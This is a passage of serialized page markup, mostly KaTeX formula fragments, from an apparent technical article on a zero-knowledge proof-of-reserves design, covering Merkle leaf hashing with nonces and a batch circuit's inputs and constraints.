className":98863,"style":98864},[9635,27190],"margin-right:0.08125em;",[98866],{"type":29,"value":98867},"H",{"type":24,"tag":147,"props":98869,"children":98871},{"className":98870},[9635,27190],[98872],{"type":29,"value":82351},{"type":24,"tag":147,"props":98874,"children":98876},{"className":98875},[9635],[98877],{"type":29,"value":98878},"256",{"type":24,"tag":147,"props":98880,"children":98882},{"className":98881},[27319],[98883],{"type":29,"value":480},{"type":24,"tag":147,"props":98885,"children":98887},{"className":98886},[9635,27190],[98888],{"type":29,"value":98889},"u",{"type":24,"tag":147,"props":98891,"children":98893},{"className":98892,"style":98630},[9635,27190],[98894],{"type":29,"value":98895},"ser",{"type":24,"tag":147,"props":98897,"children":98899},{"className":98898,"style":98630},[9635],[98900],{"type":29,"value":8714},{"type":24,"tag":147,"props":98902,"children":98904},{"className":98903},[9635,27190],[98905],{"type":29,"value":9363},{"type":24,"tag":147,"props":98907,"children":98909},{"className":98908},[9635,27190],[98910],{"type":29,"value":76147},{"type":24,"tag":147,"props":98912,"children":98914},{"className":98913},[27341],[98915],{"type":29,"value":8758},{"type":24,"tag":147,"props":98917,"children":98919},{"className":98918},[9714],[98920],{"type":29,"value":27291},{"type":24,"tag":147,"props":98922,"children":98924},{"className":98923},[9635],[98925],{"type":29,"value":98728},{"type":24,"tag":147,"props":98927,"children":98929},{"className":98928},[9714],[98930],{"type":29,"value":27291},{"type":24,"tag":147,"props":98932,"children":98934},{"className":98933},[9635,27190],[98935],{"type":29,"value":98889},{"type":24,"tag":147,"props":98937,"children":98939},{"className":98938,"style":98630},[9635,27190],[98940],{"type":29,"value":98895},{"type":24,"tag":147,"props":98942,"children":98944},{"className":98943,"style":98630},[9635],[98945],{"type":29,"value":8714},{"type":24,"tag":147,"props":98947,"children":98949},{"className":98948},[9635,27190],[98950],{"type":29,"value":61991},{"type":24,"tag":147,"props":98952,"children":98954},{"className":98953},[9635,27190],[98955],{"type":29,"value":98600},{"type":24,"tag":147,"props":98957,"children":98959},{"className":98958},[9635,27190],[98960],{"type":29,"value":61991},{"type":24,"tag":147,"props":98962,"children":98964},{"className":98963},[9635,27190],[98965],{"type":29,"value":98657},{"type":24,"tag":147,"props":98967,"children":98969},{"className":98968},[27341],[98970],{"type":29,"value":8758},{"type":24,"tag":25,"props":98972,"children":98973},{},[98974,98976,98982],{"type":29,"value":98975},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":80,"props":98977,"children":98979},{"className":98978},[],[98980],{"type":29,"value":98981},"uuid",{"type":29,"value":98983},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":43,"props":98985,"children":98987},{"id":98986},"batch-circuit",[98988],{"type":29,"value":98989},"Batch Circuit",{"type":24,"tag":25,"props":98991,"children":98992},{},[98993],{"type":29,"value":98994},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":98996,"children":98997},{},[98998],{"type":24,"tag":10949,"props":98999,"children":99000},{},[99001],{"type":29,"value":99002},"Public Inputs",{"type":24,"tag":22292,"props":99004,"children":99005},{},[99006,99011,99016],{"type":24,"tag":2678,"props":99007,"children":99008},{},[99009],{"type":29,"value":99010},"Asset prices in USD",{"type":24,"tag":2678,"props":99012,"children":99013},{},[99014],{"type":29,"value":99015},"Merkle tree hash",{"type":24,"tag":2678,"props":99017,"children":99018},{},[99019],{"type":29,"value":99020},"Summed asset balances",{"type":24,"tag":25,"props":99022,"children":99023},{},[99024],{"type":24,"tag":10949,"props":99025,"children":99026},{},[99027],{"type":29,"value":99028},"Private Inputs",{"type":24,"tag":22292,"props":99030,"children":99031},{},[99032,99037],{"type":24,"tag":2678,"props":99033,"children":99034},{},[99035],{"type":29,"value":99036},"Users balances",{"type":24,"tag":2678,"props":99038,"children":99039},{},[99040],{"type":29,"value":99041},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":99043,"children":99044},{},[99045],{"type":24,"tag":10949,"props":99046,"children":99047},{},[99048],{"type":29,"value":99049},"Constraints",{"type":24,"tag":22292,"props":99051,"children":99052},{},[99053,99506,99674,100021,100419],{"type":24,"tag":2678,"props":99054,"children":99055},{},[99056],{"type":24,"tag":80,"props":99057,"children":99059},{"className":99058},[9607,9608],[99060],{"type":24,"tag":147,"props":99061,"children":99063},{"className":99062},[9613],[99064],{"type":24,"tag":147,"props":99065,"children":99067},{"className":99066,"ariaHidden":9619},[9618],[99068,99207,99411],{"type":24,"tag":147,"props":99069,"children":99071},{"className":99070},[9624],[99072,99077,99082,99088,99093,99098,99103,99108,99113,99120,99125,99130,99135,99194,99198,99203],{"type":24,"tag":147,"props":99073,"children":99076},{"className":99074,"style":99075},[9629],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":147,"props":99078,"children":99080},{"className":99079},[9635,27190],[99081],{"type":29,"value":2773},{"type":24,"tag":147,"props":99083,"children":99085},{"className":99084},[9635,27190],[99086],{"type":29,"value":99087},"cco",{"type":24,"tag":147,"props":99089,"children":99091},{"className":99090},[9635,27190],[99092],{"type":29,"value":98889},{"type":24,"tag":147,"props":99094,"children":99096},{"className":99095},[9635,27190],[99097],{"type":29,"value":61991},{"type":24,"tag":147,"props":99099,"children":99101},{"className":99100},[9635,27190],[99102],{"type":29,"value":27332},{"type":24,"tag":147,"props":99104,"children":99106},{"className":99105,"style":98630},[9635],[99107],{"type":29,"value":8714},{"type":24,"tag":147,"props":99109,"children":99111},{"className":99110},[9635,27190],[99112],{"type":29,"value":57047},{"type":24,"tag":147,"props":99114,"children":99117},{"className":99115,"style":99116},[9635,27190],"margin-right:0.03588em;",[99118],{"type":29,"value":99119},"q",{"type":24,"tag":147,"props":99121,"children":99123},{"className":99122},[9635,27190],[99124],{"type":29,"value":98889},{"type":24,"tag":147,"props":99126,"children":99128},{"className":99127},[9635,27190],[99129],{"type":29,"value":9363},{"type":24,"tag":147,"props":99131,"children":99133},{"className":99132},[9635,27190],[99134],{"type":29,"value":27332},{"type":24,"tag":147,"props":99136,"children":99138},{"className":99137},[9635],[99139,99144],{"type":24,"tag":147,"props":99140,"children":99142},{"className":99141,"style":99116},[9635,27190],[99143],{"type":29,"value":8744},{"type":24,"tag":147,"props":99145,"children":99147},{"className":99146},[9650],[99148],{"type":24,"tag":147,"props":99149,"children":99151},{"className":99150},[9655,27244],[99152,99183],{"type":24,"tag":147,"props":99153,"children":99155},{"className":99154},[9660],[99156,99178],{"type":24,"tag":147,"props":99157,"children":99160},{"className":99158,"style":99159},[9665],"height:0.3117em;",[99161],{"type":24,"tag":147,"props":99162,"children":99164},{"style":99163},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[99165,99169],{"type":24,"tag":147,"props":99166,"children":99168},{"className":99167,"style":9675},[9674],[],{"type":24,"tag":147,"props":99170,"children":99172},{"className":99171},[9680,9681,9682,9683],[99173],{"type":24,"tag":147,"props":99174,"children":99176},{"className":99175},[9635,27190,9683],[99177],{"type":29,"value":9363},{"type":24,"tag":147,"props":99179,"children":99181},{"className":99180},[27347],[99182],{"type":29,"value":27350},{"type":24,"tag":147,"props":99184,"children":99186},{"className":99185},[9660],[99187],{"type":24,"tag":147,"props":99188,"children":99190},{"className":99189,"style":98713},[9665],[99191],{"type":24,"tag":147,"props":99192,"children":99193},{},[],{"type":24,"tag":147,"props":99195,"children":99197},{"className":99196,"style":9812},[9714],[],{"type":24,"tag":147,"props":99199,"children":99201},{"className":99200},[9817],[99202],{"type":29,"value":6600},{"type":24,"tag":147,"props":99204,"children":99206},{"className":99205,"style":9812},[9714],[],{"type":24,"tag":147,"props":99208,"children":99210},{"className":99209},[9624],[99211,99215,99221,99226,99231,99236,99241,99246,99251,99256,99261,99266,99271,99276,99281,99286,99291,99296,99353,99358,99363,99368,99373,99378,99383,99388,99393,99398,99402,99407],{"type":24,"tag":147,"props":99212,"children":99214},{"className":99213,"style":98572},[9629],[],{"type":24,"tag":147,"props":99216,"children":99218},{"className":99217},[9635],[99219],{"type":29,"value":99220},"Σ",{"type":24,"tag":147,"props":99222,"children":99224},{"className":99223},[9714],[99225],{"type":29,"value":27291},{"type":24,"tag":147,"props":99227,"children":99229},{"className":99228},[9635,27190],[99230],{"type":29,"value":2773},{"type":24,"tag":147,"props":99232,"children":99234},{"className":99233},[9635,27190],[99235],{"type":29,"value":99087},{"type":24,"tag":147,"props":99237,"children":99239},{"className":99238},[9635,27190],[99240],{"type":29,"value":98889},{"type":24,"tag":147,"props":99242,"children":99244},{"className":99243},[9635,27190],[99245],{"type":29,"value":61991},{"type":24,"tag":147,"props":99247,"children":99249},{"className":99248},[9635,27190],[99250],{"type":29,"value":27332},{"type":24,"tag":147,"props":99252,"children":99254},{"className":99253,"style":98630},[9635],[99255],{"type":29,"value":8714},{"type":24,"tag":147,"props":99257,"children":99259},{"className":99258},[9635,27190],[99260],{"type":29,"value":2773},{"type":24,"tag":147,"props":99262,"children":99264},{"className":99263},[9635,27190],[99265],{"type":29,"value":98621},{"type":24,"tag":147,"props":99267,"children":99269},{"className":99268},[9635,27190],[99270],{"type":29,"value":27332},{"type":24,"tag":147,"props":99272,"children":99274},{"className":99273,"style":98630},[9635],[99275],{"type":29,"value":8714},{"type":24,"tag":147,"props":99277,"children":99279},{"className":99278},[9635,27190],[99280],{"type":29,"value":98638},{"type":24,"tag":147,"props":99282,"children":99284},{"className":99283,"style":98642},[9635,27190],[99285],{"type":29,"value":98645},{"type":24,"tag":147,"props":99287,"children":99289},{"className":99288},[9635,27190],[99290],{"type":29,"value":98651},{"type":24,"tag":147,"props":99292,"children":99294},{"className":99293},[9635,27190],[99295],{"type":29,"value":98657},{"type":24,"tag":147,"props":99297,"children":99299},{"className":99298},[9635],[99300,99305],{"type":24,"tag":147,"props":99301,"children":99303},{"className":99302},[9635,27190],[99304],{"type":29,"value":2203},{"type":24,"tag":147,"props":99306,"children":99308},{"className":99307},[9650],[99309],{"type":24,"tag":147,"props":99310,"children":99312},{"className":99311},[9655,27244],[99313,99342],{"type":24,"tag":147,"props":99314,"children":99316},{"className":99315},[9660],[99317,99337],{"type":24,"tag":147,"props":99318,"children":99320},{"className":99319,"style":99159},[9665],[99321],{"type":24,"tag":147,"props":99322,"children":99323},{"style":98686},[99324,99328],{"type":24,"tag":147,"props":99325,"children":99327},{"className":99326,"style":9675},[9674],[],{"type":24,"tag":147,"props":99329,"children":99331},{"className":99330},[9680,9681,9682,9683],[99332],{"type":24,"tag":147,"props":99333,"children":99335},{"className":99334},[9635,27190,9683],[99336],{"type":29,"value":9363},{"type":24,"tag":147,"props":99338,"children":99340},{"className":99339},[27347],[99341],{"type":29,"value":27350},{"type":24,"tag":147,"props":99343,"children":99345},{"className":99344},[9660],[99346],{"type":24,"tag":147,"props":99347,"children":99349},{"className":99348,"style":98713},[9665],[99350],{"type":24,"tag":147,"props":99351,"children":99352},{},[],{"type":24,"tag":147,"props":99354,"children":99356},{"className":99355},[27319],[99357],{"type":29,"value":9358},{"type":24,"tag":147,"props":99359,"children":99361},{"className":99360},[9635,27190],[99362],{"type":29,"value":2773},{"type":24,"tag":147,"props":99364,"children":99366},{"className":99365},[9635,27190],[99367],{"type":29,"value":98621},{"type":24,"tag":147,"props":99369,"children":99371},{"className":99370},[9635,27190],[99372],{"type":29,"value":27332},{"type":24,"tag":147,"props":99374,"children":99376},{"className":99375,"style":98630},[9635],[99377],{"type":29,"value":8714},{"type":24,"tag":147,"props":99379,"children":99381},{"className":99380},[9635,27190],[99382],{"type":29,"value":61991},{"type":24,"tag":147,"props":99384,"children":99386},{"className":99385},[9635,27190],[99387],{"type":29,"value":98889},{"type":24,"tag":147,"props":99389,"children":99391},{"className":99390},[9635,27190],[99392],{"type":29,"value":56728},{"type":24,"tag":147,"props":99394,"children":99396},{"className":99395},[27341],[99397],{"type":29,"value":21023},{"type":24,"tag":147,"props":99399,"children":99401},{"className":99400,"style":9715},[9714],[],{"type":24,"tag":147,"props":99403,"children":99405},{"className":99404},[9720],[99406],{"type":29,"value":9723},{"type":24,"tag":147,"props":99408,"children":99410},{"className":99409,"style":9715},[9714],[],{"type":24,"tag":147,"props":99412,"children":99414},{"className":99413},[9624],[99415,99419,99424,99429,99434,99439,99444,99450,99455,99461,99466,99471,99476,99481,99486,99491,99496,99501],{"type":24,"tag":147,"props":99416,"children":99418},{"className":99417,"style":98572},[9629],[],{"type":24,"tag":147,"props":99420,"children":99422},{"className":99421},[9635,27190],[99423],{"type":29,"value":2773},{"type":24,"tag":147,"props":99425,"children":99427},{"className":99426},[9635,27190],[99428],{"type":29,"value":98621},{"type":24,"tag":147,"props":99430,"children":99432},{"className":99431},[9635,27190],[99433],{"type":29,"value":27332},{"type":24,"tag":147,"props":99435,"children":99437},{"className":99436,"style":98630},[9635],[99438],{"type":29,"value":8714},{"type":24,"tag":147,"props":99440,"children":99442},{"className":99441},[9635,27190],[99443],{"type":29,"value":25},{"type":24,"tag":147,"props":99445,"children":99447},{"className":99446,"style":98630},[9635,27190],[99448],{"type":29,"value":99449},"r",{"type":24,"tag":147,"props":99451,"children":99453},{"className":99452},[9635,27190],[99454],{"type":29,"value":9363},{"type":24,"tag":147,"props":99456,"children":99458},{"className":99457},[9635,27190],[99459],{"type":29,"value":99460},"ces",{"type":24,"tag":147,"props":99462,"children":99464},{"className":99463},[27319],[99465],{"type":29,"value":9358},{"type":24,"tag":147,"props":99467,"children":99469},{"className":99468},[9635,27190],[99470],{"type":29,"value":2773},{"type":24,"tag":147,"props":99472,"children":99474},{"className":99473},[9635,27190],[99475],{"type":29,"value":98621},{"type":24,"tag":147,"props":99477,"children":99479},{"className":99478},[9635,27190],[99480],{"type":29,"value":27332},{"type":24,"tag":147,"props":99482,"children":99484},{"className":99483,"style":98630},[9635],[99485],{"type":29,"value":8714},{"type":24,"tag":147,"props":99487,"children":99489},{"className":99488},[9635,27190],[99490],{"type":29,"value":61991},{"type":24,"tag":147,"props":99492,"children":99494},{"className":99493},[9635,27190],[99495],{"type":29,"value":98889},{"type":24,"tag":147,"props":99497,"children":99499},{"className":99498},[9635,27190],[99500],{"type":29,"value":56728},{"type":24,"tag":147,"props":99502,"children":99504},{"className":99503},[27341],[99505],{"type":29,"value":21023},{"type":24,"tag":2678,"props":99507,"children":99508},{},[99509,99668,99669],{"type":24,"tag":80,"props":99510,"children":99512},{"className":99511},[9607,9608],[99513],{"type":24,"tag":147,"props":99514,"children":99516},{"className":99515},[9613],[99517],{"type":24,"tag":147,"props":99518,"children":99520},{"className":99519,"ariaHidden":9619},[9618],[99521,99654],{"type":24,"tag":147,"props":99522,"children":99524},{"className":99523},[9624],[99525,99529,99534,99539,99544,99549,99554,99559,99564,99569,99574,99579,99584,99641,99645,99650],{"type":24,"tag":147,"props":99526,"children":99528},{"className":99527,"style":99075},[9629],[],{"type":24,"tag":147,"props":99530,"children":99532},{"className":99531},[9635,27190],[99533],{"type":29,"value":2773},{"type":24,"tag":147,"props":99535,"children":99537},{"className":99536},[9635,27190],[99538],{"type":29,"value":99087},{"type":24,"tag":147,"props":99540,"children":99542},{"className":99541},[9635,27190],[99543],{"type":29,"value":98889},{"type":24,"tag":147,"props":99545,"children":99547},{"className":99546},[9635,27190],[99548],{"type":29,"value":61991},{"type":24,"tag":147,"props":99550,"children":99552},{"className":99551},[9635,27190],[99553],{"type":29,"value":27332},{"type":24,"tag":147,"props":99555,"children":99557},{"className":99556,"style":98630},[9635],[99558],{"type":29,"value":8714},{"type":24,"tag":147,"props":99560,"children":99562},{"className":99561},[9635,27190],[99563],{"type":29,"value":57047},{"type":24,"tag":147,"props":99565,"children":99567},{"className":99566,"style":99116},[9635,27190],[99568],{"type":29,"value":99119},{"type":24,"tag":147,"props":99570,"children":99572},{"className":99571},[9635,27190],[99573],{"type":29,"value":98889},{"type":24,"tag":147,"props":99575,"children":99577},{"className":99576},[9635,27190],[99578],{"type":29,"value":9363},{"type":24,"tag":147,"props":99580,"children":99582},{"className":99581},[9635,27190],[99583],{"type":29,"value":27332},{"type":24,"tag":147,"props":99585,"children":99587},{"className":99586},[9635],[99588,99593],{"type":24,"tag":147,"props":99589,"children":99591},{"className":99590,"style":99116},[9635,27190],[99592],{"type":29,"value":8744},{"type":24,"tag":147,"props":99594,"children":99596},{"className":99595},[9650],[99597],{"type":24,"tag":147,"props":99598,"children":99600},{"className":99599},[9655,27244],[99601,99630],{"type":24,"tag":147,"props":99602,"children":99604},{"className":99603},[9660],[99605,99625],{"type":24,"tag":147,"props":99606,"children":99608},{"className":99607,"style":99159},[9665],[99609],{"type":24,"tag":147,"props":99610,"children":99611},{"style":99163},[99612,99616],{"type":24,"tag":147,"props":99613,"children":99615},{"className":99614,"style":9675},[9674],[],{"type":24,"tag":147,"props":99617,"children":99619},{"className":99618},[9680,9681,9682,9683],[99620],{"type":24,"tag":147,"props":99621,"children":99623},{"className":99622},[9635,27190,9683],[99624],{"type":29,"value":9363},{"type":24,"tag":147,"props":99626,"children":99628},{"className":99627},[27347],[99629],{"type":29,"value":27350},{"type":24,"tag":147,"props":99631,"children":99633},{"className":99632},[9660],[99634],{"type":24,"tag":147,"props":99635,"children":99637},{"className":99636,"style":98713},[9665],[99638],{"type":24,"tag":147,"props":99639,"children":99640},{},[],{"type":24,"tag":147,"props":99642,"children":99644},{"className":99643,"style":9812},[9714],[],{"type":24,"tag":147,"props":99646,"children":99648},{"className":99647},[9817],[99649],{"type":29,"value":15564},{"type":24,"tag":147,"props":99651,"children":99653},{"className":99652,"style":9812},[9714],[],{"type":24,"tag":147,"props":99655,"children":99657},{"className":99656},[9624],[99658,99663],{"type":24,"tag":147,"props":99659,"children":99662},{"className":99660,"style":99661},[9629],"height:0.6444em;",[],{"type":24,"tag":147,"props":99664,"children":99666},{"className":99665},[9635],[99667],{"type":29,"value":3173},{"type":29,"value":12083},{"type":24,"tag":10949,"props":99670,"children":99671},{},[99672],{"type":29,"value":99673},"(non-negativity)",{"type":24,"tag":2678,"props":99675,"children":99676},{},[99677,100015,100016],{"type":24,"tag":80,"props":99678,"children":99680},{"className":99679},[9607,9608],[99681],{"type":24,"tag":147,"props":99682,"children":99684},{"className":99683},[9613],[99685],{"type":24,"tag":147,"props":99686,"children":99688},{"className":99687,"ariaHidden":9619},[9618],[99689,99825],{"type":24,"tag":147,"props":99690,"children":99692},{"className":99691},[9624],[99693,99697,99702,99707,99712,99717,99722,99727,99732,99737,99742,99747,99752,99757,99762,99767,99772,99777,99782,99787,99792,99797,99802,99807,99812,99816,99821],{"type":24,"tag":147,"props":99694,"children":99696},{"className":99695,"style":98572},[9629],[],{"type":24,"tag":147,"props":99698,"children":99700},{"className":99699},[9635,27190],[99701],{"type":29,"value":27332},{"type":24,"tag":147,"props":99703,"children":99705},{"className":99704},[9635,27190],[99706],{"type":29,"value":98600},{"type":24,"tag":147,"props":99708,"children":99710},{"className":99709},[9635,27190],[99711],{"type":29,"value":27332},{"type":24,"tag":147,"props":99713,"children":99715},{"className":99714},[9635,27190],[99716],{"type":29,"value":2773},{"type":24,"tag":147,"props":99718,"children":99720},{"className":99719,"style":98642},[9635,27190],[99721],{"type":29,"value":98645},{"type":24,"tag":147,"props":99723,"children":99725},{"className":99724,"style":98630},[9635],[99726],{"type":29,"value":8714},{"type":24,"tag":147,"props":99728,"children":99730},{"className":99729},[9635,27190],[99731],{"type":29,"value":2773},{"type":24,"tag":147,"props":99733,"children":99735},{"className":99734},[9635,27190],[99736],{"type":29,"value":98621},{"type":24,"tag":147,"props":99738,"children":99740},{"className":99739},[9635,27190],[99741],{"type":29,"value":27332},{"type":24,"tag":147,"props":99743,"children":99745},{"className":99744,"style":98630},[9635],[99746],{"type":29,"value":8714},{"type":24,"tag":147,"props":99748,"children":99750},{"className":99749},[9635,27190],[99751],{"type":29,"value":98638},{"type":24,"tag":147,"props":99753,"children":99755},{"className":99754,"style":98642},[9635,27190],[99756],{"type":29,"value":98645},{"type":24,"tag":147,"props":99758,"children":99760},{"className":99759},[9635,27190],[99761],{"type":29,"value":98651},{"type":24,"tag":147,"props":99763,"children":99765},{"className":99764},[9635,27190],[99766],{"type":29,"value":98657},{"type":24,"tag":147,"props":99768,"children":99770},{"className":99769},[27319],[99771],{"type":29,"value":9358},{"type":24,"tag":147,"props":99773,"children":99775},{"className":99774},[9635,27190],[99776],{"type":29,"value":2773},{"type":24,"tag":147,"props":99778,"children":99780},{"className":99779},[9635,27190],[99781],{"type":29,"value":98621},{"type":24,"tag":147,"props":99783,"children":99785},{"className":99784},[9635,27190],[99786],{"type":29,"value":27332},{"type":24,"tag":147,"props":99788,"children":99790},{"className":99789,"style":98630},[9635],[99791],{"type":29,"value":8714},{"type":24,"tag":147,"props":99793,"children":99795},{"className":99794},[9635,27190],[99796],{"type":29,"value":61991},{"type":24,"tag":147,"props":99798,"children":99800},{"className":99799},[9635,27190],[99801],{"type":29,"value":98889},{"type":24,"tag":147,"props":99803,"children":99805},{"className":99804},[9635,27190],[99806],{"type":29,"value":56728},{"type":24,"tag":147,"props":99808,"children":99810},{"className":99809},[27341],[99811],{"type":29,"value":21023},{"type":24,"tag":147,"props":99813,"children":99815},{"className":99814,"style":9812},[9714],[],{"type":24,"tag":147,"props":99817,"children":99819},{"className":99818},[9817],[99820],{"type":29,"value":6600},{"type":24,"tag":147,"props":99822,"children":99824},{"className":99823,"style":9812},[9714],[],{"type":24,"tag":147,"props":99826,"children":99828},{"className":99827},[9624],[99829,99833,99838,99843,99848,99853,99858,99863,99868,99873,99878,99883,99888,99893,99898,99903,99908,99913,99970,99975,99980,99985,99990,99995,100000,100005,100010],{"type":24,"tag":147,"props":99830,"children":99832},{"className":99831,"style":98572},[9629],[],{"type":24,"tag":147,"props":99834,"children":99836},{"className":99835},[9635],[99837],{"type":29,"value":99220},{"type":24,"tag":147,"props":99839,"children":99841},{"className":99840},[9714],[99842],{"type":29,"value":27291},{"type":24,"tag":147,"props":99844,"children":99846},{"className":99845},[9635,27190],[99847],{"type":29,"value":2773},{"type":24,"tag":147,"props":99849,"children":99851},{"className":99850},[9635,27190],[99852],{"type":29,"value":99087},{"type":24,"tag":147,"props":99854,"children":99856},{"className":99855},[9635,27190],[99857],{"type":29,"value":98889},{"type":24,"tag":147,"props":99859,"children":99861},{"className":99860},[9635,27190],[99862],{"type":29,"value":61991},{"type":24,"tag":147,"props":99864,"children":99866},{"className":99865},[9635,27190],[99867],{"type":29,"value":27332},{"type":24,"tag":147,"props":99869,"children":99871},{"className":99870,"style":98630},[9635],[99872],{"type":29,"value":8714},{"type":24,"tag":147,"props":99874,"children":99876},{"className":99875},[9635,27190],[99877],{"type":29,"value":2773},{"type":24,"tag":147,"props":99879,"children":99881},{"className":99880},[9635,27190],[99882],{"type":29,"value":98621},{"type":24,"tag":147,"props":99884,"children":99886},{"className":99885},[9635,27190],[99887],{"type":29,"value":27332},{"type":24,"tag":147,"props":99889,"children":99891},{"className":99890,"style":98630},[9635],[99892],{"type":29,"value":8714},{"type":24,"tag":147,"props":99894,"children":99896},{"className":99895},[9635,27190],[99897],{"type":29,"value":98638},{"type":24,"tag":147,"props":99899,"children":99901},{"className":99900,"style":98642},[9635,27190],[99902],{"type":29,"value":98645},{"type":24,"tag":147,"props":99904,"children":99906},{"className":99905},[9635,27190],[99907],{"type":29,"value":98651},{"type":24,"tag":147,"props":99909,"children":99911},{"className":99910},[9635,27190],[99912],{"type":29,"value":98657},{"type":24,"tag":147,"props":99914,"children":99916},{"className":99915},[9635],[99917,99922],{"type":24,"tag":147,"props":99918,"children":99920},{"className":99919},[9635,27190],[99921],{"type":29,"value":2203},{"type":24,"tag":147,"props":99923,"children":99925},{"className":99924},[9650],[99926],{"type":24,"tag":147,"props":99927,"children":99929},{"className":99928},[9655,27244],[99930,99959],{"type":24,"tag":147,"props":99931,"children":99933},{"className":99932},[9660],[99934,99954],{"type":24,"tag":147,"props":99935,"children":99937},{"className":99936,"style":99159},[9665],[99938],{"type":24,"tag":147,"props":99939,"children":99940},{"style":98686},[99941,99945],{"type":24,"tag":147,"props":99942,"children":99944},{"className":99943,"style":9675},[9674],[],{"type":24,"tag":147,"props":99946,"children":99948},{"className":99947},[9680,9681,9682,9683],[99949],{"type":24,"tag":147,"props":99950,"children":99952},{"className":99951},[9635,27190,9683],[99953],{"type":29,"value":9363},{"type":24,"tag":147,"props":99955,"children":99957},{"className":99956},[27347],[99958],{"type":29,"value":27350},{"type":24,"tag":147,"props":99960,"children":99962},{"className":99961},[9660],[99963],{"type":24,"tag":147,"props":99964,"children":99966},{"className":99965,"style":98713},[9665],[99967],{"type":24,"tag":147,"props":99968,"children":99969},{},[],{"type":24,"tag":147,"props":99971,"children":99973},{"className":99972},[27319],[99974],{"type":29,"value":9358},{"type":24,"tag":147,"props":99976,"children":99978},{"className":99977},[9635,27190],[99979],{"type":29,"value":2773},{"type":24,"tag":147,"props":99981,"children":99983},{"className":99982},[9635,27190],[99984],{"type":29,"value":98621},{"type":24,"tag":147,"props":99986,"children":99988},{"className":99987},[9635,27190],[99989],{"type":29,"value":27332},{"type":24,"tag":147,"props":99991,"children":99993},{"className":99992,"style":98630},[9635],[99994],{"type":29,"value":8714},{"type":24,"tag":147,"props":99996,"children":99998},{"className":99997},[9635,27190],[99999],{"type":29,"value":61991},{"type":24,"tag":147,"props":100001,"children":100003},{"className":100002},[9635,27190],[100004],{"type":29,"value":98889},{"type":24,"tag":147,"props":100006,"children":100008},{"className":100007},[9635,27190],[100009],{"type":29,"value":56728},{"type":24,"tag":147,"props":100011,"children":100013},{"className":100012},[27341],[100014],{"type":29,"value":21023},{"type":29,"value":12083},{"type":24,"tag":10949,"props":100017,"children":100018},{},[100019],{"type":29,"value":100020},"(sum proof)",{"type":24,"tag":2678,"props":100022,"children":100023},{},[100024,100413,100414],{"type":24,"tag":80,"props":100025,"children":100027},{"className":100026},[9607,9608],[100028],{"type":24,"tag":147,"props":100029,"children":100031},{"className":100030},[9613],[100032],{"type":24,"tag":147,"props":100033,"children":100035},{"className":100034,"ariaHidden":9619},[9618],[100036,100122],{"type":24,"tag":147,"props":100037,"children":100039},{"className":100038},[9624],[100040,100045,100050,100056,100062,100067,100072,100077,100082,100088,100093,100099,100104,100109,100113,100118],{"type":24,"tag":147,"props":100041,"children":100044},{"className":100042,"style":100043},[9629],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":147,"props":100046,"children":100048},{"className":100047},[9635,27190],[100049],{"type":29,"value":56728},{"type":24,"tag":147,"props":100051,"children":100053},{"className":100052,"style":98630},[9635,27190],[100054],{"type":29,"value":100055},"er",{"type":24,"tag":147,"props":100057,"children":100060},{"className":100058,"style":100059},[9635,27190],"margin-right:0.03148em;",[100061],{"type":29,"value":94267},{"type":24,"tag":147,"props":100063,"children":100065},{"className":100064,"style":98642},[9635,27190],[100066],{"type":29,"value":98645},{"type":24,"tag":147,"props":100068,"children":100070},{"className":100069},[9635,27190],[100071],{"type":29,"value":57047},{"type":24,"tag":147,"props":100073,"children":100075},{"className":100074,"style":98630},[9635],[100076],{"type":29,"value":8714},{"type":24,"tag":147,"props":100078,"children":100080},{"className":100079},[9635,27190],[100081],{"type":29,"value":27332},{"type":24,"tag":147,"props":100083,"children":100085},{"className":100084},[9635,27190],[100086],{"type":29,"value":100087},"ree",{"type":24,"tag":147,"props":100089,"children":100091},{"className":100090,"style":98630},[9635],[100092],{"type":29,"value":8714},{"type":24,"tag":147,"props":100094,"children":100096},{"className":100095},[9635,27190],[100097],{"type":29,"value":100098},"ha",{"type":24,"tag":147,"props":100100,"children":100102},{"className":100101},[9635,27190],[100103],{"type":29,"value":2203},{"type":24,"tag":147,"props":100105,"children":100107},{"className":100106},[9635,27190],[100108],{"type":29,"value":89928},{"type":24,"tag":147,"props":100110,"children":100112},{"className":100111,"style":9812},[9714],[],{"type":24,"tag":147,"props":100114,"children":100116},{"className":100115},[9817],[100117],{"type":29,"value":6600},{"type":24,"tag":147,"props":100119,"children":100121},{"className":100120,"style":9812},[9714],[],{"type":24,"tag":147,"props":100123,"children":100125},{"className":100124},[9624],[100126,100130,100135,100140,100145,100150,100155,100160,100165,100170,100175,100232,100237,100241,100246,100251,100308,100313,100318,100322,100327,100332,100336,100341,100346,100408],{"type":24,"tag":147,"props":100127,"children":100129},{"className":100128,"style":9735},[9629],[],{"type":24,"tag":147,"props":100131,"children":100133},{"className":100132,"style":27191},[9635,27190],[100134],{"type":29,"value":27194},{"type":24,"tag":147,"props":100136,"children":100138},{"className":100137},[9635,27190],[100139],{"type":29,"value":98584},{"type":24,"tag":147,"props":100141,"children":100143},{"className":100142},[9635,27190],[100144],{"type":29,"value":9363},{"type":24,"tag":147,"props":100146,"children":100148},{"className":100147},[9635,27190],[100149],{"type":29,"value":76147},{"type":24,"tag":147,"props":100151,"children":100153},{"className":100152},[9635,27190],[100154],{"type":29,"value":98600},{"type":24,"tag":147,"props":100156,"children":100158},{"className":100157},[9635,27190],[100159],{"type":29,"value":61991},{"type":24,"tag":147,"props":100161,"children":100163},{"className":100162},[27319],[100164],{"type":29,"value":480},{"type":24,"tag":147,"props":100166,"children":100168},{"className":100167},[9635,27190],[100169],{"type":29,"value":100098},{"type":24,"tag":147,"props":100171,"children":100173},{"className":100172},[9635,27190],[100174],{"type":29,"value":2203},{"type":24,"tag":147,"props":100176,"children":100178},{"className":100177},[9635],[100179,100184],{"type":24,"tag":147,"props":100180,"children":100182},{"className":100181},[9635,27190],[100183],{"type":29,"value":89928},{"type":24,"tag":147,"props":100185,"children":100187},{"className":100186},[9650],[100188],{"type":24,"tag":147,"props":100189,"children":100191},{"className":100190},[9655,27244],[100192,100221],{"type":2